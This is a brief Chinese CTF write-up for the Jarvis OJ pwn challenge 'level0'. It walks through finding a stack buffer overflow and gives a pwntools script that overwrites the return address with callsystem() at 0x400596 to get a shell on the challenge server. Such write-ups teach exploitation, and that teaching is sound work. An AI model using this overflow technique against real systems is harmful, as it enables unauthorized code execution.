(Jarvis Oj)(Pwn) level0
首先用checksec查一下保护。几乎没开什么保护措施。
用ida反汇编。main函数就调用了两个函数。
跟进第二个函数。
找到溢出点,同过buf缓冲区。又找到函数callsystem()。
只要控制程序返回到callsystem地址即可。找到callsystem地址。
写得脚本。
1 from pwn import *
2 callsystem_addr=0x400596
3 pad=0x80
4 payload="A"*pad+"BBBBBBBB"+p64(callsystem_addr)
5 print payload
6 conn=remote("pwn2.jarvisoj.com","9881")
7 conn.sendline(payload)
8 conn.interactive();
注意是64位程序,所以覆盖rbp和返回地址时都要用64位数据。